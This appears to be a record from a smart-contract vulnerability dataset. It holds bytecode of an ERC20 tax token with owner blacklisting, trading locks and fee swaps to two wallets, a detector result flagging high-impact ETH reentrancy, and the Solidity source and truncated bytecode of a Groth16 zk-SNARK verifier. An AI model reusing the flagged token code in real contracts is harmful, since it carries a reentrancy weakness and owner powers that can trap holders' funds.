105ed90611c40565b60405180910390fd5b60005b815181101561065e5760016010600084848151811061061a5761061a611d87565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065681611d56565b9150506105f9565b5050565b600061066f338484610b55565b5060015b92915050565b6000610686848484610c79565b6106d884336106d385604051806060016040528060288152602001611dc9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b5565b610b55565b5060019392505050565b6000546001600160a01b0316331461070c5760405162461bcd60e51b81526004016105ed90611c40565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107575760405162461bcd60e51b81526004016105ed90611c40565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107aa57506013546001600160a01b0316336001600160a01b0316145b6107b357600080fd5b476107bd816111ef565b50565b6001600160a01b03811660009081526002602052604081205461067390611274565b6000546001600160a01b0316331461080c5760405162461bcd60e51b81526004016105ed90611c40565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108805760405162461bcd60e51b81526004016105ed90611c40565b601655565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016105ed90611c40565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f75760405162461bcd60e51b81526004016105ed90611c40565b601855565b6000546001600160a01b031633146109265760405162461bcd60e51b81526004016105ed90611c40565b600893909355600a91909155600955600b55565b600061066f338484610c79565b6012546001600160a01b0316336001600160a01b0316148061097c57506013546001600160a01b0316336001600160a01b0316145b61098557600080fd5b6000610990306107c0565b90506107bd816112f8565b6000546001600160a01b031633146109c55760405162461bcd60e51b81526004016105ed90611c40565b60005b82811015610a365781600560008686858181106109e7576109e7611d87565b90506020020160208101906109fc9190611955565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2e81611d56565b9150506109c8565b50505050565b6000546001600160a01b03163314610a665760405162461bcd60e51b81526004016105ed90611c40565b601755565b6000546001600160a01b03163314610a955760405162461bcd60e51b81526004016105ed90611c40565b6001600160a01b038116610afa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ed565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ed565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ed565b6001600160a01b038216610d3f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ed565b60008111610da15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ed565b6000546001600160a01b03848116911614801590610dcd57506000546001600160a01b03838116911614155b156110ae57601554600160a01b900460ff16610e66576000546001600160a01b03848116911614610e665760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ed565b601654811115610eb85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ed565b6001600160a01b03831660009081526010602052604090205460ff16158015610efa57506001600160a01b03821660009081526010602052604090205460ff16155b610f525760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ed565b6015546001600160a01b03838116911614610fd75760175481610f74846107c0565b610f7e9190611ce6565b10610fd75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ed565b6000610fe2306107c0565b601854601654919250821015908210610ffb5760165491505b8080156110125750601554600160a81b900460ff16155b801561102c57506015546001600160a01b03868116911614155b80156110415750601554600160b01b900460ff165b801561106657506001600160a01b03851660009081526005602052604090205460ff16155b801561108b57506001600160a01b03841660009081526005602052604090205460ff16155b156110ab57611099826112f8565b4780156110a9576110a9476111ef565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f057506001600160a01b03831660009081526005602052604090205460ff165b8061112257506015546001600160a01b0385811691161480159061112257506015546001600160a01b03848116911614155b1561112f575060006111a9565b6015546001600160a01b03858116911614801561115a57506014546001600160a01b03848116911614155b1561116c57600854600c55600954600d555b6015546001600160a01b03848116911614801561119757506014546001600160a01b03858116911614155b156111a957600a54600c55600b54600d555b610a3684848484611481565b600081848411156111d95760405162461bcd60e51b81526004016105ed9190611beb565b5060006111e68486611d3f565b95945050505050565b6012546001600160a01b03166108fc6112098360026114af565b6040518115909202916000818181858888f19350505050158015611231573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124c8360026114af565b6040518115909202916000818181858888f1935050505015801561065e573d6000803e3d6000fd5b60006006548211156112db5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ed565b60006112e56114f1565b90506112f183826114af565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134057611340611d87565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139457600080fd5b505afa1580156113a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cc9190611972565b816001815181106113df576113df611d87565b6001600160a01b0392831660209182029290920101526014546114059130911684610b55565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143e908590600090869030904290600401611c75565b600060405180830381600087803b15801561145857600080fd5b505af115801561146c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148e5761148e611514565b611499848484611542565b80610a3657610a36600e54600c55600f54600d55565b60006112f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611639565b60008060006114fe611667565b909250905061150d82826114af565b9250505090565b600c541580156115245750600d54155b1561152b57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611554876116a5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115869087611702565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b59086611744565b6001600160a01b0389166000908152600260205260409020556115d7816117a3565b6115e184836117ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162691815260200190565b60405180910390a3505050505050505050565b6000818361165a5760405162461bcd60e51b81526004016105ed9190611beb565b5060006111e68486611cfe565b6006546000908190662386f26fc1000061168182826114af565b82101561169c57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c28a600c54600d54611811565b92509250925060006116d26114f1565b905060008060006116e58e878787611866565b919e509c509a509598509396509194505050505091939550919395565b60006112f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b5565b6000806117518385611ce6565b9050838110156112f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ed565b60006117ad6114f1565b905060006117bb83836118b6565b306000908152600260205260409020549091506117d89082611744565b30600090815260026020526040902055505050565b6006546117fa9083611702565b60065560075461180a9082611744565b6007555050565b600080808061182b606461182589896118b6565b906114af565b9050600061183e60646118258a896118b6565b90506000611856826118508b86611702565b90611702565b9992985090965090945050505050565b600080808061187588866118b6565b9050600061188388876118b6565b9050600061189188886118b6565b905060006118a3826118508686611702565b939b939a50919850919650505050505050565b6000826118c557506000610673565b60006118d18385611d20565b9050826118de8583611cfe565b146112f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ed565b803561194081611db3565b919050565b8035801515811461194057600080fd5b60006020828403121561196757600080fd5b81356112f181611db3565b60006020828403121561198457600080fd5b81516112f181611db3565b600080604083850312156119a257600080fd5b82356119ad81611db3565b915060208301356119bd81611db3565b809150509250929050565b6000806000606084860312156119dd57600080fd5b83356119e881611db3565b925060208401356119f881611db3565b929592945050506040919091013590565b60008060408385031215611a1c57600080fd5b8235611a2781611db3565b946020939093013593505050565b600080600060408486031215611a4a57600080fd5b833567ffffffffffffffff80821115611a6257600080fd5b818601915086601f830112611a7657600080fd5b813581811115611a8557600080fd5b8760208260051b8501011115611a9a57600080fd5b602092830195509350611ab09186019050611945565b90509250925092565b60006020808385031215611acc57600080fd5b823567ffffffffffffffff80821115611ae457600080fd5b818501915085601f830112611af857600080fd5b813581811115611b0a57611b0a611d9d565b8060051b604051601f19603f83011681018181108582111715611b2f57611b2f611d9d565b604052828152858101935084860182860187018a1015611b4e57600080fd5b600095505b83861015611b7857611b6481611935565b855260019590950194938601938601611b53565b5098975050505050505050565b600060208284031215611b9757600080fd5b6112f182611945565b600060208284031215611bb257600080fd5b5035919050565b60008060008060808587031215611bcf57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1857858101830151858201604001528201611bfc565b81811115611c2a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc55784516001600160a01b031683529383019391830191600101611ca0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf957611cf9611d71565b500190565b600082611d1b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3a57611d3a611d71565b500290565b600082821015611d5157611d51611d71565b500390565b6000600019821415611d6a57611d6a611d71565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207599838ae2ee0cc6ee0bae2a041432b0fdb409038f8bb913c7bbcd374dc3a4f264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 1,618 |
0x3b702fe5D3C9FA2A1c22F6fdd8Cc28EF75c21c59
|
//
// Copyright 2017 Christian Reitwiessner
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
// 2019 OKIMS
// ported to solidity 0.6
// fixed linter warnings
// added requiere error messages
//
//
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.6.11;
library Pairing {
struct G1Point {
uint256 X;
uint256 Y;
}
// Encoding of field elements is: X[0] * z + X[1]
struct G2Point {
uint256[2] X;
uint256[2] Y;
}
/// @return the generator of G1
function P1() internal pure returns (G1Point memory) {
return G1Point(1, 2);
}
/// @return the generator of G2
function P2() internal pure returns (G2Point memory) {
// Original code point
return
G2Point(
[
11559732032986387107991004021392285783925812861821192530917403151452391805634,
10857046999023057135944570762232829481370756359578518086990519993285655852781
],
[
4082367875863433681332203403145435568316851327593401208105741076214120093531,
8495653923123431417604973247489272438418190587263600148770280649306958101930
]
);
/*
// Changed by Jordi point
return G2Point(
[10857046999023057135944570762232829481370756359578518086990519993285655852781,
11559732032986387107991004021392285783925812861821192530917403151452391805634],
[8495653923123431417604973247489272438418190587263600148770280649306958101930,
4082367875863433681332203403145435568316851327593401208105741076214120093531]
);
*/
}
/// @return r the negation of p, i.e. p.addition(p.negate()) should be zero.
function negate(G1Point memory p) internal pure returns (G1Point memory r) {
// The prime q in the base field F_q for G1
uint256 q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
if (p.X == 0 && p.Y == 0) return G1Point(0, 0);
return G1Point(p.X, q - (p.Y % q));
}
/// @return r the sum of two points of G1
function addition(G1Point memory p1, G1Point memory p2)
internal
view
returns (G1Point memory r)
{
uint256[4] memory input;
input[0] = p1.X;
input[1] = p1.Y;
input[2] = p2.X;
input[3] = p2.Y;
bool success;
// solium-disable-next-line security/no-inline-assembly
assembly {
success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60)
// Use "invalid" to make gas estimation work
switch success
case 0 {
invalid()
}
}
require(success, "pairing-add-failed");
}
/// @return r the product of a point on G1 and a scalar, i.e.
/// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p.
function scalar_mul(G1Point memory p, uint256 s)
internal
view
returns (G1Point memory r)
{
uint256[3] memory input;
input[0] = p.X;
input[1] = p.Y;
input[2] = s;
bool success;
// solium-disable-next-line security/no-inline-assembly
assembly {
success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60)
// Use "invalid" to make gas estimation work
switch success
case 0 {
invalid()
}
}
require(success, "pairing-mul-failed");
}
/// @return the result of computing the pairing check
/// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1
/// For example pairing([P1(), P1().negate()], [P2(), P2()]) should
/// return true.
function pairing(G1Point[] memory p1, G2Point[] memory p2)
internal
view
returns (bool)
{
require(p1.length == p2.length, "pairing-lengths-failed");
uint256 elements = p1.length;
uint256 inputSize = elements * 6;
uint256[] memory input = new uint256[](inputSize);
for (uint256 i = 0; i < elements; i++) {
input[i * 6 + 0] = p1[i].X;
input[i * 6 + 1] = p1[i].Y;
input[i * 6 + 2] = p2[i].X[0];
input[i * 6 + 3] = p2[i].X[1];
input[i * 6 + 4] = p2[i].Y[0];
input[i * 6 + 5] = p2[i].Y[1];
}
uint256[1] memory out;
bool success;
// solium-disable-next-line security/no-inline-assembly
assembly {
success := staticcall(
sub(gas(), 2000),
8,
add(input, 0x20),
mul(inputSize, 0x20),
out,
0x20
)
// Use "invalid" to make gas estimation work
switch success
case 0 {
invalid()
}
}
require(success, "pairing-opcode-failed");
return out[0] != 0;
}
/// Convenience method for a pairing check for two pairs.
function pairingProd2(
G1Point memory a1,
G2Point memory a2,
G1Point memory b1,
G2Point memory b2
) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](2);
G2Point[] memory p2 = new G2Point[](2);
p1[0] = a1;
p1[1] = b1;
p2[0] = a2;
p2[1] = b2;
return pairing(p1, p2);
}
/// Convenience method for a pairing check for three pairs.
function pairingProd3(
G1Point memory a1,
G2Point memory a2,
G1Point memory b1,
G2Point memory b2,
G1Point memory c1,
G2Point memory c2
) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](3);
G2Point[] memory p2 = new G2Point[](3);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
return pairing(p1, p2);
}
/// Convenience method for a pairing check for four pairs.
function pairingProd4(
G1Point memory a1,
G2Point memory a2,
G1Point memory b1,
G2Point memory b2,
G1Point memory c1,
G2Point memory c2,
G1Point memory d1,
G2Point memory d2
) internal view returns (bool) {
G1Point[] memory p1 = new G1Point[](4);
G2Point[] memory p2 = new G2Point[](4);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p1[3] = d1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
p2[3] = d2;
return pairing(p1, p2);
}
}
contract Verifier {
using Pairing for *;
struct VerifyingKey {
Pairing.G1Point alfa1;
Pairing.G2Point beta2;
Pairing.G2Point gamma2;
Pairing.G2Point delta2;
Pairing.G1Point[] IC;
}
struct Proof {
Pairing.G1Point A;
Pairing.G2Point B;
Pairing.G1Point C;
}
function verifyingKey() internal pure returns (VerifyingKey memory vk) {
vk.alfa1 = Pairing.G1Point(
20491192805390485299153009773594534940189261866228447918068658471970481763042,
9383485363053290200918347156157836566562967994039712273449902621266178545958
);
vk.beta2 = Pairing.G2Point(
[
4252822878758300859123897981450591353533073413197771768651442665752259397132,
6375614351688725206403948262868962793625744043794305715222011528459656738731
],
[
21847035105528745403288232691147584728191162732299865338377159692350059136679,
10505242626370262277552901082094356697409835680220590971873171140371331206856
]
);
vk.gamma2 = Pairing.G2Point(
[
11559732032986387107991004021392285783925812861821192530917403151452391805634,
10857046999023057135944570762232829481370756359578518086990519993285655852781
],
[
4082367875863433681332203403145435568316851327593401208105741076214120093531,
8495653923123431417604973247489272438418190587263600148770280649306958101930
]
);
vk.delta2 = Pairing.G2Point(
[
13410150164581423164498126759292529342885397566638867300261528995472433351798,
6628803949423937243384530013039081553975858776748738597728030799102430113245
],
[
10488710302783387051650332714378847800235725183040413493903661881676569618462,
6780813802732665109116857572377017558508707577519871227907498375712154973645
]
);
vk.IC = new Pairing.G1Point[](3);
vk.IC[0] = Pairing.G1Point(
150482909709156447128377442955848252952507726473439670395677588725894873781,
15243492155800200096508135116719545646755885506245602682128095002659693332477
);
vk.IC[1] = Pairing.G1Point(
10219256747402287369446882993153408227266685321772638134347015816016207959506,
5713589042392199425457053087448358854374160033283567796041811551009957358312
);
vk.IC[2] = Pairing.G1Point(
10184932457756825516094730475968244535051130754898879504496674565989817244963,
7533095459237824526733877445035402499542176980417854450372553780683503905244
);
}
function verify(uint256[] memory input, Proof memory proof)
internal
view
returns (uint256)
{
uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
VerifyingKey memory vk = verifyingKey();
require(input.length + 1 == vk.IC.length, "verifier-bad-input");
// Compute the linear combination vk_x
Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);
for (uint256 i = 0; i < input.length; i++) {
require(
input[i] < snark_scalar_field,
"verifier-gte-snark-scalar-field"
);
vk_x = Pairing.addition(
vk_x,
Pairing.scalar_mul(vk.IC[i + 1], input[i])
);
}
vk_x = Pairing.addition(vk_x, vk.IC[0]);
if (
!Pairing.pairingProd4(
Pairing.negate(proof.A),
proof.B,
vk.alfa1,
vk.beta2,
vk_x,
vk.gamma2,
proof.C,
vk.delta2
)
) return 1;
return 0;
}
/// @return r bool true if proof is valid
function verifyProof(
uint256[2] memory a,
uint256[2][2] memory b,
uint256[2] memory c,
uint256[2] memory input
) public view returns (bool r) {
Proof memory proof;
proof.A = Pairing.G1Point(a[0], a[1]);
proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]);
proof.C = Pairing.G1Point(c[0], c[1]);
uint256[] memory inputValues = new uint256[](input.length);
for (uint256 i = 0; i < input.length; i++) {
inputValues[i] = input[i];
}
if (verify(inputValues, proof) == 0) {
return true;
} else {
return false;
}
}
}
|
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c8063f5c9d69e14610030575b600080fd5b61004a600480360381019061004591906113dc565b610060565b6040516100579190611526565b60405180910390f35b600061006a611161565b60405180604001604052808760006002811061008957610088611886565b5b60200201518152602001876001600281106100a7576100a6611886565b5b6020020151815250816000018190525060405180604001604052806040518060400160405280886000600281106100e1576100e0611886565b5b60200201516000600281106100f9576100f8611886565b5b602002015181526020018860006002811061011757610116611886565b5b602002015160016002811061012f5761012e611886565b5b6020020151815250815260200160405180604001604052808860016002811061015b5761015a611886565b5b602002015160006002811061017357610172611886565b5b602002015181526020018860016002811061019157610190611886565b5b60200201516001600281106101a9576101a8611886565b5b602002015181525081525081602001819052506040518060400160405280856000600281106101db576101da611886565b5b60200201518152602001856001600281106101f9576101f8611886565b5b602002015181525081604001819052506000600267ffffffffffffffff811115610226576102256118b5565b5b6040519080825280602002602001820160405280156102545781602001602082028036833780820191505090505b50905060005b60028110156102ad5784816002811061027657610275611886565b5b602002015182828151811061028e5761028d611886565b5b60200260200101818152505080806102a5906117ae565b91505061025a565b5060006102ba82846102da565b14156102cb576001925050506102d2565b6000925050505b949350505050565b6000807f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f00000019050600061030a6104cd565b9050806080015151600186516103209190611683565b14610360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035790611541565b60405180910390fd5b60006040518060400160405280600081526020016000815250905060005b865181101561044f578387828151811061039b5761039a611886565b5b6020026020010151106103e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103da90611581565b60405180910390fd5b61043a8261043585608001516001856103fc9190611683565b8151811061040d5761040c611886565b5b60200260200101518a858151811061042857610427611886565b5b6020026020010151610948565b610a25565b91508080610447906117ae565b91505061037e565b5061047981836080015160008151811061046c5761046b611886565b5b6020026020010151610a25565b90506104af61048b8660000151610b28565b8660200151846000015185602001518587604001518b604001518960600151610bcd565b6104bf57600193505050506104c7565b600093505050505b92915050565b6104d5611194565b60405180604001604052807f2d4d9aa7e302d9df41749d5507949d05dbea33fbb16c643b22f599a2be6df2e281526020017f14bedd503c37ceb061d8ec60209fe345ce89830a19230301f076caff004d19268152508160000181905250604051806040016040528060405180604001604052807f0967032fcbf776d1afc985f88877f182d38480a653f2decaa9794cbc3bf3060c81526020017f0e187847ad4c798374d0d6732bf501847dd68bc0e071241e0213bc7fc13db7ab815250815260200160405180604001604052807f304cfbd1e08a704a99f5e847d93f8c3caafddec46b7a0d379da69a4d112346a781526020017f1739c1b1a457a8c7313123d24d2f9192f896b7c63eea05a9d57f06547ad0cec88152508152508160200181905250604051806040016040528060405180604001604052807f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c281526020017f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed815250815260200160405180604001604052807f090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b81526020017f12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa8152508152508160400181905250604051806040016040528060405180604001604052807f1da5e042b8984606e1ff43d1d78a75eacfc29374c44bb914f01d2fecd5a20c7681526020017f0ea7c523cf1d77a2edbdc4b075b0eb35031aec5401328f79c86429f9093f6ddd815250815260200160405180604001604052807f1730664fadba79e9fc9344cc0678e5c2dd99341a6806f5abdb660df8b021a81e81526020017f0efdcdfaa33b2c16e89f426d44c03feeb272dcb4ad46fc630e0ccf59add9f5cd8152508152508160600181905250600367ffffffffffffffff81111561079c5761079b6118b5565b5b6040519080825280602002602001820160405280156107d557816020015b6107c26111db565b8152602001906001900390816107ba5790505b50816080018190525060405180604001604052807e552b9957b8ebee42865bc1a000a734714f6e1d3e0addd5eb2723125bd202b581526020017f21b382c49f5bdf9f2f015865b7af29cd682fd72b0fac067e5404923c51fd07fd815250816080015160008151811061084a57610849611886565b5b602002602001018190525060405180604001604052807f1697e4f3d4457741b0a070079a3d51105b373938cefd8f3893da222ac62255d281526020017f0ca1c6dc2f774abf496274f161686ff22bb1a556f836597a45fecad459222ae881525081608001516001815181106108c2576108c1611886565b5b602002602001018190525060405180604001604052807f168477ad2a9e273f03b0c14c5c624d55b207c114ee1bc00e98f2da1a545ddd2381526020017f10a794b81c77e18c8afc3bb80fa351c0e7d89e6a05ff2b54fd5586638c4929dc815250816080015160028151811061093a57610939611886565b5b602002602001018190525090565b6109506111db565b6109586111f5565b83600001518160006003811061097157610970611886565b5b60200201818152505083602001518160016003811061099357610992611886565b5b60200201818152505082816002600381106109b1576109b0611886565b5b602002018181525050600060608360808460076107d05a03fa905080600081146109da576109dc565bfe5b5080610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1490611561565b60405180910390fd5b505092915050565b610a2d6111db565b610a35611217565b836000015181600060048110610a4e57610a4d611886565b5b602002018181525050836020015181600160048110610a7057610a6f611886565b5b602002018181525050826000015181600260048110610a9257610a91611886565b5b602002018181525050826020015181600360048110610ab457610ab3611886565b5b602002018181525050600060608360c08460066107d05a03fa90508060008114610add57610adf565bfe5b5080610b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b17906115c1565b60405180910390fd5b505092915050565b610b306111db565b60007f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47905060008360000151148015610b6d575060008360200151145b15610b91576040518060400160405280600081526020016000815250915050610bc8565b604051806040016040528084600001518152602001828560200151610bb691906117f7565b83610bc19190611733565b8152509150505b919050565b600080600467ffffffffffffffff811115610beb57610bea6118b5565b5b604051908082528060200260200182016040528015610c2457816020015b610c116111db565b815260200190600190039081610c095790505b5090506000600467ffffffffffffffff811115610c4457610c436118b5565b5b604051908082528060200260200182016040528015610c7d57816020015b610c6a611239565b815260200190600190039081610c625790505b5090508a82600081518110610c9557610c94611886565b5b60200260200101819052508882600181518110610cb557610cb4611886565b5b60200260200101819052508682600281518110610cd557610cd4611886565b5b60200260200101819052508482600381518110610cf557610cf4611886565b5b60200260200101819052508981600081518110610d1557610d14611886565b5b60200260200101819052508781600181518110610d3557610d34611886565b5b60200260200101819052508581600281518110610d5557610d54611886565b5b60200260200101819052508381600381518110610d7557610d74611886565b5b6020026020010181905250610d8a8282610d9a565b9250505098975050505050505050565b60008151835114610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd7906115a1565b60405180910390fd5b6000835190506000600682610df591906116d9565b905060008167ffffffffffffffff811115610e1357610e126118b5565b5b604051908082528060200260200182016040528015610e415781602001602082028036833780820191505090505b50905060005b838110156110c657868181518110610e6257610e61611886565b5b602002602001015160000151826000600684610e7e91906116d9565b610e889190611683565b81518110610e9957610e98611886565b5b602002602001018181525050868181518110610eb857610eb7611886565b5b602002602001015160200151826001600684610ed491906116d9565b610ede9190611683565b81518110610eef57610eee611886565b5b602002602001018181525050858181518110610f0e57610f0d611886565b5b602002602001015160000151600060028110610f2d57610f2c611886565b5b6020020151826002600684610f4291906116d9565b610f4c9190611683565b81518110610f5d57610f5c611886565b5b602002602001018181525050858181518110610f7c57610f7b611886565b5b602002602001015160000151600160028110610f9b57610f9a611886565b5b6020020151826003600684610fb091906116d9565b610fba9190611683565b81518110610fcb57610fca611886565b5b602002602001018181525050858181518110610fea57610fe9611886565b5b60200260200101516020015160006002811061100957611008611886565b5b602002015182600460068461101e91906116d9565b6110289190611683565b8151811061103957611038611886565b5b60200260200101818152505085818151811061105857611057611886565b5b60200260200101516020015160016002811061107757611076611886565b5b602002015182600560068461108c91906116d9565b6110969190611683565b815181106110a7576110a6611886565b5b60200260200101818152505080806110be906117ae565b915050610e47565b506110cf61125f565b6000602082602086026020860160086107d05a03fa905080600081146110f4576110f6565bfe5b5080611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112e906115e1565b60405180910390fd5b60008260006001811061114d5761114c611886565b5b602002015114159550505050505092915050565b60405180606001604052806111746111db565b8152602001611181611239565b815260200161118e6111db565b81525090565b6040518060a001604052806111a76111db565b81526020016111b4611239565b81526020016111c1611239565b81526020016111ce611239565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b6040518060600160405280600390602082028036833780820191505090505090565b6040518060800160405280600490602082028036833780820191505090505090565b604051806040016040528061124c611281565b8152602001611259611281565b81525090565b6040518060200160405280600190602082028036833780820191505090505090565b6040518060400160405280600290602082028036833780820191505090505090565b60006112b66112b184611626565b611601565b905080828560408602820111156112d0576112cf6118e9565b5b60005b8581101561130057816112e6888261139c565b8452602084019350604083019250506001810190506112d3565b5050509392505050565b600061131d6113188461164c565b611601565b90508082856020860282011115611337576113366118e9565b5b60005b85811015611367578161134d88826113c7565b84526020840193506020830192505060018101905061133a565b5050509392505050565b600082601f830112611386576113856118e4565b5b60026113938482856112a3565b91505092915050565b600082601f8301126113b1576113b06118e4565b5b60026113be84828561130a565b91505092915050565b6000813590506113d6816119fa565b92915050565b60008060008061014085870312156113f7576113f66118ee565b5b60006114058782880161139c565b945050604061141687828801611371565b93505060c06114278782880161139c565b9250506101006114398782880161139c565b91505092959194509250565b61144e81611767565b82525050565b6000611461601283611672565b915061146c82611904565b602082019050919050565b6000611484601283611672565b915061148f8261192d565b602082019050919050565b60006114a7601f83611672565b91506114b282611956565b602082019050919050565b60006114ca601683611672565b91506114d58261197f565b602082019050919050565b60006114ed601283611672565b91506114f8826119a8565b602082019050919050565b6000611510601583611672565b915061151b826119d1565b602082019050919050565b600060208201905061153b6000830184611445565b92915050565b6000602082019050818103600083015261155a81611454565b9050919050565b6000602082019050818103600083015261157a81611477565b9050919050565b6000602082019050818103600083015261159a8161149a565b9050919050565b600060208201905081810360008301526115ba816114bd565b9050919050565b600060208201905081810360008301526115da816114e0565b9050919050565b600060208201905081810360008301526115fa81611503565b9050919050565b600061160b61161c565b9050611617828261177d565b919050565b6000604051905090565b600067ffffffffffffffff821115611641576116406118b5565b5b602082029050919050565b600067ffffff